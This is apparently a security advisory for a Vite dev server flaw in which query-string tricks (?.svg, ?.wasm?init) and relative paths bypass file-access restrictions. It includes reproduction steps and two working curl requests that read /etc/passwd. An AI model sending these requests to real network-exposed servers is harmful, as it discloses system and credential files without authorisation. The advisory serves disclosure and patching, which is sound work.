The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected..
.svg
Requests ending with .svg
are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg
with ?.wasm?init
or with sec-fetch-dest: script
header, the restriction was able to bypass.
This bypass is only possible if the file is smaller than build.assetsInlineLimit
(default: 4kB) and when using Vite 6.0+.
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../
).
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
{ "nvd_published_at": "2025-04-03T19:15:39Z", "cwe_ids": [ "CWE-200", "CWE-284" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2025-04-04T14:20:05Z" }